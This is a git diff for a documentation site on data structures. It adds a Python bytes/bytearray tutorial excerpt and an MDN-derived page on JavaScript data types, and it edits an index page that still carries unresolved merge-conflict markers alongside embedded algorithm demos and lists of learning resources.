+[`bytes`](https://docs.python.org/3/library/stdtypes.html#bytes-objects) objects are immutable sequences of single bytes, or integers in the range 0 ≤ _x_ ≤ 255. Conceptually, `bytes` objects are similar to `str` objects, and you can also think of them as immutable arrays of bytes.
+
+Like strings, `bytes` have their own literal syntax for creating objects and are space efficient. `bytes` objects are immutable, but unlike strings, there’s a dedicated mutable byte array data type called `bytearray` that they can be unpacked into:
+
+```py
+ arr = bytes((0, 1, 2, 3))
+ arr[1]
+1
+
+ # Bytes literals have their own syntax:
+ arr
+b'\x00\x01\x02\x03'
+ arr = b"\x00\x01\x02\x03"
+
+ # Only valid `bytes` are allowed:
+ bytes((0, 300))
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+ValueError: bytes must be in range(0, 256)
+
+ # Bytes are immutable:
+ arr[1] = 23
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'bytes' object does not support item assignment
+
+ del arr[1]
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'bytes' object doesn't support item deletion
+
+```
+
+### `bytearray`: Mutable Arrays of Single Bytes[](#bytearray-mutable-arrays-of-single-bytes "Permanent link")
+
+The [`bytearray`](https://docs.python.org/3.1/library/functions.html#bytearray) type is a mutable sequence of integers in the range 0 ≤ _x_ ≤ 255. The `bytearray` object is closely related to the `bytes` object, with the main difference being that a `bytearray` can be modified freely—you can overwrite elements, remove existing elements, or add new ones. The `bytearray` object will grow and shrink accordingly.
+
+A `bytearray` can be converted back into immutable `bytes` objects, but this involves copying the stored data in full—a slow operation taking _O_(_n_) time:
+
+```py
+ arr = bytearray((0, 1, 2, 3))
+ arr[1]
+1
+
+ # The bytearray repr:
+ arr
+bytearray(b'\x00\x01\x02\x03')
+
+ # Bytearrays are mutable:
+ arr[1] = 23
+ arr
+bytearray(b'\x00\x17\x02\x03')
+
+ arr[1]
+23
+
+ # Bytearrays can grow and shrink in size:
+ del arr[1]
+ arr
+bytearray(b'\x00\x02\x03')
+
+ arr.append(42)
+ arr
+bytearray(b'\x00\x02\x03*')
+
+ # Bytearrays can only hold `bytes`
+ # (integers in the range 0 <= x <= 255)
+ arr[1] = "hello"
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+TypeError: 'str' object cannot be interpreted as an integer
+
+ arr[1] = 300
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+ValueError: byte must be in range(0, 256)
+
+ # Bytearrays can be converted back into bytes objects:
+ # (This will copy the data)
+ bytes(arr)
+b'\x00\x02\x03*'
+
+```
+
+### Arrays in Python: Summary[](#arrays-in-python-summary "Permanent link")
+
+There are a number of built-in data structures you can choose from when it comes to implementing arrays in Python. In this section, you’ve focused on core language features and data structures included in the standard library.
+
+If you’re willing to go beyond the Python standard library, then third-party packages like [NumPy](https://realpython.com/numpy-array-programming/) and [pandas](https://realpython.com/pandas-dataframe/) offer a wide range of fast array implementations for scientific computing and data science.
+
+If you want to restrict yourself to the array data structures included with Python, then here are a few guidelines:
+
+-   If you need to store arbitrary objects, potentially with mixed data types, then use a `list` or a `tuple`, depending on whether or not you want an immutable data structure.
+
+-   If you have numeric (integer or floating-point) data and tight packing and performance is important, then try out `array.array`.
+
+-   If you have textual data represented as Unicode characters, then use Python’s built-in `str`. If you need a mutable string-like data structure, then use a `list` of characters.
+
+-   If you want to store a contiguous block of bytes, then use the immutable `bytes` type or a `bytearray` if you need a mutable data structure.
+
+In most cases, I like to start out with a simple `list`. I’ll only specialize later on if performance or storage space becomes an issue. Most of the time, using a general-purpose array data structure like `list` gives you the fastest development speed and the most programming convenience.
+
+I’ve found that this is usually much more important in the beginning than trying to squeeze out every last drop of performance right from the start.
+
+## Records, Structs, and Data Transfer Objects[](#records-structs-and-data-transfer-objects "Permanent link")
+
+Compared to arrays, **record** data structures provide a fixed number of fields. Each field can have a name and may also have a different type.
+
+In this section, you’ll see how to implement records, structs, and plain old data objects in Python using only built-in data types and classes from the standard library.
+
+**Note:** I’m using the definition of a record loosely here. For example, I’m also going to discuss types like Python’s built-in `tuple` that may or may not be considered records in a strict sense because they don’t provide named fields.
+
+Python offers several data types that you can use to implement records, structs, and data transfer objects. In this section, you’ll get a quick look at each implementation and its unique characteristics. At the end, you’ll find a summary and a decision-making guide that will help you make your own picks.
+
+**Note:** This tutorial is adapted from the chapter “Common Data Structures in Python” in [_Python Tricks: The Book_](https://realpython.com/products/python-tricks-book/). If you enjoy what you’re reading, then be sure to check out [the rest of the book](https://realpython.com/products/python-tricks-book/).
+
+Alright, let’s get started!
+
+
+
+
+### `dict`: Simple Data Objects[](#dict-simple-data-objects "Permanent link")
+
+As mentioned [previously](#dictionaries-maps-and-hash-tables), Python dictionaries store an arbitrary number of objects, each identified by a unique key. Dictionaries are also often called **maps** or **associative arrays** and allow for efficient lookup, insertion, and deletion of any object associated with a given key.
+
+Using dictionaries as a record data type or data object in Python is possible. Dictionaries are easy to create in Python as they have their own syntactic sugar built into the language in the form of **dictionary literals**. The dictionary syntax is concise and quite convenient to type.
+
+Data objects created using dictionaries are mutable, and there’s little protection against misspelled field names as fields can be added and removed freely at any time. Both of these properties can introduce surprising bugs, and there’s always a trade-off to be made between convenience and error resilience:
+
+```py
+ car1 = {
+...     "color": "red",
+...     "mileage": 3812.4,
+...     "automatic": True,
+... }
+ car2 = {
+...     "color": "blue",
+...     "mileage": 40231,
+...     "automatic": False,
+... }
+
+ # Dicts have a nice repr:
+ car2
+```
diff --git a/src/pages/docs/ds-algo/index.md b/src/pages/docs/ds-algo/index.md
index 264ccf3661..9ec129a79b 100644
--- a/src/pages/docs/ds-algo/index.md
+++ b/src/pages/docs/ds-algo/index.md
@@ -35,6 +35,7 @@ Data structures
 
 <h1>   Algorithms </h1>
 <br>
+<<<<<<< HEAD
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz-branch-the-algos.vercel.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
 <br>
 <br>
@@ -55,10 +56,22 @@ Data structures
 <h1>  Python Data Structures</h1>
 <br>
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://ds-unit-5-lambda.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
+=======
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz-branch-the-algos.vercel.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+>>>>>>> master
 <br>
 <br>
 <br>
 <br>
+<<<<<<< HEAD
+=======
+
+<h1>  The Algos Bgoonz Branch </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://thealgorithms.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+>>>>>>> master
 <br>
 <br>
 <hr>
@@ -78,7 +91,53 @@ Data structures
 <br>
 <h1>   Algorithms </h1>
 <br>
+<<<<<<< HEAD
 <iframe sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz-branch-the-algos.vercel.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" ></iframe>
+=======
+
+<br>
+<br>
+<br>
+
+<h1>  Python Data Structures</h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://ds-unit-5-lambda.netlify.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+<br>
+<br>
+<br>
+<br>
+<br>
+<br>
+
+<br>
+<br>
+<br>
+<br>
+
+<br>
+<br>
+<br>
+<br>
+<h1>   Leetcode </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz.github.io/Leetcode-JS-PY-MD/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+<br>
+<br>
+<br>
+
+<br>
+<br>
+<br>
+<h1>   Algorithms </h1>
+<br>
+<iframe style="resize:both; overflow:scroll;"  sandbox="allow-scripts" style="resize:both; overflow:scroll;"     style="z-index:-1!important; overflow:scroll;resize:both;"  src="https://bgoonz-branch-the-algos.vercel.app/" height="800px" width="1000px" scrolling="yes"   frameborder="yes" loading="lazy"  allowfullscreen="true"  frameborder="0" >
+</iframe>
+<br>
+>>>>>>> master
 <br>
 <br>
 <br>
@@ -101,6 +160,7 @@ Data structures
 
 #### Videos
 
+<<<<<<< HEAD
 -   <span id="53c4"><a href="https://www.youtube.com/watch?v=0IAPZzGSbME&amp;list=PLDN4rrl48XKpZkf03iYFl-O29szjTrs_O&amp;index=2&amp;t=0s" class="markup--anchor markup--li-anchor">Abdul Bari: YouTubeChannel for Algorithms</a></span>
 -   <span id="ab93"><a href="https://www.youtube.com/watch?v=lxja8wBwN0k&amp;list=PLKKfKV1b9e8ps6dD3QA5KFfHdiWj9cB1s" class="markup--anchor markup--li-anchor">Data Structures and algorithms</a></span>
 -   <span id="e614"><a href="https://www.youtube.com/playlist?list=PLmGElG-9wxc9Us6IK6Qy-KHlG_F3IS6Q9" class="markup--anchor markup--li-anchor">Data Structures and algorithms Course</a></span>
@@ -148,6 +208,113 @@ Data structures
 -   <span id="a228"><a href="https://www.learneroo.com/subjects/8" class="markup--anchor markup--li-anchor">Learneroo — Algorithms</a></span>
 -   <span id="a2f0"><a href="http://www.topcoder.com/tc?d1=tutorials&amp;d2=alg_index&amp;module=Static" class="markup--anchor markup--li-anchor">Top Coder tutorials</a></span>
 -   <span id="f3ec"><a href="http://www.infoarena.ro/training-path" class="markup--anchor markup--li-anchor">Infoarena training path</a> (RO)</span>
+=======
+-   <span id="53c4">
+<a href="https://www.youtube.com/watch?v=0IAPZzGSbME&amp;list=PLDN4rrl48XKpZkf03iYFl-O29szjTrs_O&amp;index=2&amp;t=0s" class="markup--anchor markup--li-anchor">Abdul Bari: YouTubeChannel for Algorithms</a>
+</span>
+-   <span id="ab93">
+<a href="https://www.youtube.com/watch?v=lxja8wBwN0k&amp;list=PLKKfKV1b9e8ps6dD3QA5KFfHdiWj9cB1s" class="markup--anchor markup--li-anchor">Data Structures and algorithms</a>
+</span>
+-   <span id="e614">
+<a href="https://www.youtube.com/playlist?list=PLmGElG-9wxc9Us6IK6Qy-KHlG_F3IS6Q9" class="markup--anchor markup--li-anchor">Data Structures and algorithms Course</a>
+</span>
+-   <span id="3d48">
+<a href="https://www.khanacademy.org/computing/computer-science/algorithms" class="markup--anchor markup--li-anchor">Khan Academy</a>
+</span>
+-   <span id="ac90">
+<a href="https://www.youtube.com/playlist?list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P" class="markup--anchor markup--li-anchor">Data structures by mycodeschool</a>Pre-requisite for this lesson is good understanding of pointers in C.</span>
+-   <span id="9bd9">
+<a href="https://www.youtube.com/watch?v=HtSuA80QTyo&amp;list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb" class="markup--anchor markup--li-anchor">MIT 6.006: Intro to Algorithms(2011)</a>
+</span>
+-   <span id="71f0">
+<a href="https://www.youtube.com/watch?v=5_5oE5lgrhw&amp;list=PLu0W_9lII9ahIappRPN0MCAgtOu3lQjQi" class="markup--anchor markup--li-anchor">Data Structures and Algorithms by Codewithharry</a>
+</span>
+
+#### Books
+
+-   <span id="2eac">
+<a href="https://edutechlearners.com/download/Introduction_to_algorithms-3rd%20Edition.pdf" class="markup--anchor markup--li-anchor">Introduction to Algorithms</a> by Thomas H. Cormen, Charles E. Leiserson, Ronald L. Rivest, and Clifford Stein</span>
+-   <span id="3e8d">
+<a href="http://www.sso.sy/sites/default/files/competitive%20programming%203_1.pdf" class="markup--anchor markup--li-anchor">Competitive Programming 3</a> by Steven Halim and Felix Halim</span>
+-   <span id="3aa3">
+<a href="https://cses.fi/book/book.pdf" class="markup--anchor markup--li-anchor">Competitive Programmers Hand Book</a> Beginner friendly hand book for competitive programmers.</span>
+-   <span id="3c02">
+<a href="https://github.com/Amchuz/My-Data-Structures-and-Algorithms-Resources/raw/master/Books/Data%20Structures%20and%20Algorithms%20-%20Narasimha%20Karumanchi.pdf" class="markup--anchor markup--li-anchor">Data Structures and Algorithms Made Easy</a> by Narasimha Karumanchi</span>
+-   <span id="93ec">
+<a href="https://github.com/Amchuz/My-Data-Structures-and-Algorithms-Resources/raw/master/Books/Learning%20Algorithms%20Through%20Programming%20and%20Puzzle%20Solving.pdf" class="markup--anchor markup--li-anchor">Learning Algorithms Through Programming and Puzzle Solving</a> by Alexander Kulikov and Pavel Pevzner</span>
+
+#### Coding practice
+
+-   <span id="824c">
+<a href="https://leetcode.com/" class="markup--anchor markup--li-anchor">LeetCode</a>
+</span>
+-   <span id="a528">
+<a href="https://www.interviewbit.com/" class="markup--anchor markup--li-anchor">InterviewBit</a>
+</span>
+-   <span id="fa41">
+<a href="https://codility.com/" class="markup--anchor markup--li-anchor">Codility</a>
+</span>
+-   <span id="6c61">
+<a href="https://www.hackerrank.com/" class="markup--anchor markup--li-anchor">HackerRank</a>
+</span>
+-   <span id="dff6">
+<a href="https://projecteuler.net/" class="markup--anchor markup--li-anchor">Project Euler</a>
+</span>
+-   <span id="b2dd">
+<a href="https://spoj.com/" class="markup--anchor markup--li-anchor">Spoj</a>
+</span>
+-   <span id="c8e8">
+<a href="https://code.google.com/codejam/contests.html" class="markup--anchor markup--li-anchor">Google Code Jam practice problems</a>
+</span>
+-   <span id="e8bb">
+<a href="https://www.hackerearth.com/" class="markup--anchor markup--li-anchor">HackerEarth</a>
+</span>
+-   <span id="e803">
+<a href="https://www.topcoder.com/" class="markup--anchor markup--li-anchor">Top Coder</a>
+</span>
+-   <span id="294e">
+<a href="https://www.codechef.com/" class="markup--anchor markup--li-anchor">CodeChef</a>
+</span>
+-   <span id="9c05">
+<a href="https://www.codewars.com/" class="markup--anchor markup--li-anchor">Codewars</a>
+</span>
+-   <span id="356e">
+<a href="https://codesignal.com/" class="markup--anchor markup--li-anchor">CodeSignal</a>
+</span>
+-   <span id="2d20">
+<a href="http://codekata.com/" class="markup--anchor markup--li-anchor">CodeKata</a>
+</span>
+-   <span id="d3bf">
+<a href="https://www.firecode.io/" class="markup--anchor markup--li-anchor">Firecode</a>
+</span>
+
+#### Courses
+
+-   <span id="eac2">
+<a href="https://academy.zerotomastery.io/p/master-the-coding-interview-faang-interview-prep" class="markup--anchor markup--li-anchor">Master the Coding Interview: Big Tech (FAANG) Interviews</a> Course by Andrei and his team.</span>
+-   <span id="36ca">
+<a href="https://realpython.com/python-data-structures" class="markup--anchor markup--li-anchor">Common Python Data Structures</a> Data structures are the fundamental constructs around which you build your programs. Each data structure provides a particular way of organizing data so it can be accessed efficiently, depending on your use case. Python ships with an extensive set of data structures in its standard library.</span>
+-   <span id="cdc9">
+<a href="https://www.geeksforgeeks.org/fork-cpp-course-structure" class="markup--anchor markup--li-anchor">Fork CPP</a> A good course for beginners.</span>
+-   <span id="6d47">
+<a href="https://codeforces.com/edu/course/2" class="markup--anchor markup--li-anchor">EDU</a> Advanced course.</span>
+-   <span id="8bb5">
+<a href="https://www.udacity.com/course/c-for-programmers--ud210" class="markup--anchor markup--li-anchor">C++ For Programmers</a> Learn features and constructs for C++.</span>
+
+#### Guides
+
+-   <span id="e9e9">
+<a href="http://www.geeksforgeeks.org/" class="markup--anchor markup--li-anchor">GeeksForGeeks — A CS portal for geeks</a>
+</span>
+-   <span id="a228">
+<a href="https://www.learneroo.com/subjects/8" class="markup--anchor markup--li-anchor">Learneroo — Algorithms</a>
+</span>
+-   <span id="a2f0">
+<a href="http://www.topcoder.com/tc?d1=tutorials&amp;d2=alg_index&amp;module=Static" class="markup--anchor markup--li-anchor">Top Coder tutorials</a>
+</span>
+-   <span id="f3ec">
+<a href="http://www.infoarena.ro/training-path" class="markup--anchor markup--li-anchor">Infoarena training path</a> (RO)</span>
+>>>>>>> master
 -   <span id="ec93">Steven & Felix Halim — <a href="https://uva.onlinejudge.org/index.php?option=com_onlinejudge&amp;Itemid=8&amp;category=118" class="markup--anchor markup--li-anchor">Increasing the Lower Bound of Programming Contests</a> (UVA Online Judge)</span>
 
 ### **_space_**
@@ -248,7 +415,13 @@ Access Search Insertion Deletion
 
 ### The Singly Linked List
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*fLs64rV-Xq19aVCA.gif" class="graf-image" /></figure>### *Definition*
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*fLs64rV-Xq19aVCA.gif" class="graf-image" />
+</figure>### *Definition*
+>>>>>>> master
 
 > _A Singly Linked List is a linear collection of data elements, called nodes pointing to the next node by means of pointer. It is a data structure consisting of a group of nodes which together represent a sequence. Under the simplest form, each node is composed of data and a reference (in other words, a link) to the next node in the sequence._
 
@@ -265,7 +438,13 @@ O(n) O(n) O(1) O(1)
 
 ### The Doubly Linked List
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*TQXiR-L_itiG3WP-.gif" class="graf-image" /></figure>### *Definition*
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*TQXiR-L_itiG3WP-.gif" class="graf-image" />
+</figure>### *Definition*
+>>>>>>> master
 
 > _A Doubly Linked List is a linked data structure that consists of a set of sequentially linked records called nodes. Each node contains two fields, called links, that are references to the previous and to the next node in the sequence of nodes. From Wikipedia_
 
@@ -297,7 +476,13 @@ O(n) O(n) O(1) O(1)
 
 ### The Queue
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*YvfuX5tKP7-V0p7v.gif" class="graf-image" /></figure>### *Definition*
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*YvfuX5tKP7-V0p7v.gif" class="graf-image" />
+</figure>### *Definition*
+>>>>>>> master
 
 > _A Queue is a particular kind of abstract data type or collection in which the entities in the collection are kept in order and the principal operations are the addition of entities to the rear terminal position, known as enqueue, and removal of entities from the front terminal position, known as dequeue. This makes the Queue a First-In-First-Out (FIFO) data structure. In a FIFO data structure, the first element added to the Queue will be the first one to be removed._
 
@@ -312,7 +497,13 @@ O(n) O(n) O(1) O(n)
 
 ### The Tree
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*yUiQ-NaPKeLQnN7n" class="graf-image" /></figure>### *Definition*
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*yUiQ-NaPKeLQnN7n" class="graf-image" />
+</figure>### *Definition*
+>>>>>>> master
 
 > _A Tree is a widely used data structure that simulates a hierarchical tree structure, with a root value and subtrees of children with a parent node. A tree data structure can be defined recursively as a collection of nodes (starting at a root node), where each node is a data structure consisting of a value, together with a list of references to nodes (the "children"), with the constraints that no reference is duplicated, and none points to the root node. From Wikipedia_
 
@@ -326,7 +517,13 @@ To get a full overview of the time and space complexity of the Tree data structu
 
 ### The Graph
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/0*q31mL1kjFWlIzw3l.gif" class="graf-image" /></figure>### *Definition*
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/0*q31mL1kjFWlIzw3l.gif" class="graf-image" />
+</figure>### *Definition*
+>>>>>>> master
 
 > _A Graph data structure consists of a finite (and possibly mutable) set of vertices or nodes or points, together with a set of unordered pairs of these vertices for an undirected Graph or a set of ordered pairs for a directed Graph. These pairs are known as edges, arcs, or lines for an undirected Graph and as arrows, directed edges, directed arcs, or directed lines for a directed Graph. The vertices may be part of the Graph structure, or may be external entities represented by integer indices or references._
 
diff --git a/src/pages/docs/ds-algo/native-data-structures-in-js/index.md b/src/pages/docs/ds-algo/native-data-structures-in-js/index.md
new file mode 100644
index 0000000000..29bd460993
--- /dev/null
+++ b/src/pages/docs/ds-algo/native-data-structures-in-js/index.md
@@ -0,0 +1,245 @@
+---
+title: Native Data Structures in JS
+template: docs
+excerpt: In javascript
+---
+# Data Structures 
+
+
+
+# JavaScript data types and data structures
+
+Programming languages all have built-in data structures, but these often differ from one language to another. This article attempts to list the built-in data structures available in JavaScript and what properties they have. These can be used to build other data structures. Wherever possible, comparisons with other languages are drawn.
+
+## [Dynamic typing](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#dynamic_typing "Permalink to Dynamic typing")
+
+JavaScript is a *loosely typed* and *dynamic*language. Variables in JavaScript are not directly associated with any particular value type, and any variable can be assigned (and re-assigned) values of all types:
+
+```
+
+```
+
+Copy to Clipboard
+
+## [JavaScript types](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#javascript_types "Permalink to JavaScript types")
+
+The set of types in the JavaScript language consists of *[primitive values](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#primitive_values)* and *[objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#objects)*.
+
+* [Primitive values](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#primitive_values) (immutable datum represented directly at the lowest level of the language)
+
+  * [Boolean type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#boolean_type)
+  * [Null type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#null_type)
+  * [Undefined type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#undefined_type)
+  * [Number type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#number_type)
+  * [BigInt type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#bigint_type)
+  * [String type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#string_type)
+  * [Symbol type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#symbol_type)
+* [Objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#objects) (collections of properties)
+
+## [Primitive values](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#primitive_values "Permalink to Primitive values")
+
+All types except objects define immutable values (that is, values which can't be changed). For example (and unlike in C), Strings are immutable. We refer to values of these types as "*primitive values*".
+
+### [Boolean type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#boolean_type "Permalink to Boolean type")
+
+Boolean represents a logical entity and can have two values: `true` and `false`. See [Boolean](https://developer.mozilla.org/en-US/docs/Glossary/Boolean) and [`Boolean`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean) for more details.
+
+### [Null type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#null_type "Permalink to Null type")
+
+The Null type has exactly one value: `null`. See [`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null) and [Null](https://developer.mozilla.org/en-US/docs/Glossary/Null) for more details.
+
+### [Undefined type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#undefined_type "Permalink to Undefined type")
+
+A variable that has not been assigned a value has the value `undefined`. See [`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined) and [Undefined](https://developer.mozilla.org/en-US/docs/Glossary/undefined) for more details.
+
+### [Numeric types](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#numeric_types "Permalink to Numeric types")
+
+ECMAScript has two built-in numeric types: [Number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#number-type) and [BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#bigint-type) — along with the related value [NaN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#nan).
+
+#### Number type
+
+The Number type is a [double-precision 64-bit binary format IEEE 754 value](https://en.wikipedia.org/wiki/Double_precision_floating-point_format). It is capable of storing floating-point numbers between 2^-1074 and 2^1024, but can only safely store integers in the range -(2^53 − 1) to 2^53 − 1. Values outside of the range from [`Number.MIN_VALUE`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE) to [`Number.MAX_VALUE`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE) are automatically converted to either `+Infinity` or `-Infinity`, which behave similarly to mathematical infinity, but with some slight differences; see [`Number.POSITIVE_INFINITY`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY) for details.
+
+**Note:** You are can check if a number is in the double-precision floating-point number range using [`Number.isSafeInteger()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger) Outside the range from [`Number.MIN_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER) to [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER), JavaScript can no longer safely represent integers; they will instead be represented by a double-precision floating point approximation.
+
+The number type has only one integer with multiple representations: `0` is represented as both `-0` and `+0` (where `0` is an alias for `+0`). In practice, there is almost no difference between the different representations; for example, `+0 === -0` is `true`. However, you are able to notice this when you divide by zero:
+
+```
+
+```
+
+Copy to Clipboard
+
+Although a number often represents only its value, JavaScript provides [`binary (bitwise) operators`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators).
+
+**Note:** Although bitwise operators *can* be used to represent several Boolean values within a single number using [bit masking](https://en.wikipedia.org/wiki/Mask_%28computing%29), this is usually considered a bad practice. JavaScript offers other means to represent a set of Booleans (like an array of Booleans, or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain.
+
+It may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). This technique should only be considered when it is the last measure that can be taken to optimize size.
+
+#### BigInt type
+
+The BigInt type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. With BigInts, you can safely store and operate on large integers even beyond the safe integer limit for Numbers.
+
+A BigInt is created by appending `n` to the end of an integer or by calling the constructor.
+
+You can obtain the largest safe value that can be incremented with Numbers by using the constant [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER). With the introduction of BigInts, you can operate with numbers beyond the [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER).
+
+This example demonstrates, where incrementing the [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER) returns the expected result:
+
+```
+
+```
+
+Copy to Clipboard
+
+You can use the operators `+`, `*`, `-`, `**`, and `%`with BigInts—just like with Numbers. A BigInt is not strictly equal to a Number, but it is loosely so.
+
+A BigInt behaves like a Number in cases where it is converted to boolean: `if`, `||`, `&&`, `Boolean`, `!`.
+
+`BigInt`s cannot be operated on interchangeably with Numbers. Instead a [`TypeError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError) will be thrown.
+
+#### NaN
+
+[`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) ("**N**ot a **N**umber") is typically encountered when the result of an arithmetic operation cannot be expressed as a number. It is also the only value in JavaScript that is not equal to itself.
+
+### [String type](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#string_type "Permalink to String type")
+
+JavaScript's String type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index `0`, the next at index `1`, and so on. The length of a String is the number of elements in it.
+
+Unlike some programming languages (such as C), JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it.
+
+However, it is still possible to create another string based on an operation on the original string. For example:
+
+* A substring of the original by picking individual letters or using [`String.substr()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr).
+* A concatenation of two strings using the concatenation operator (`+`) or [`String.concat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat).
+
+#### Beware of "stringly-typing" your code!
+
+It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:
+
+* It is easy to build complex strings with concatenation.
+* Strings are easy to debug (what you see printed is always what is in the string).
+* Strings are the common denominator of a lot of APIs ([input fields](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement), [local storage](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) values, [`XMLHttpRequest`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) responses when using `responseText`, etc.) and it can be tempting to only work with strings.
+
+With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.
+
+Use strings for textual data. When representing complex data, *parse* strings, and use the appropriate abstraction.
+
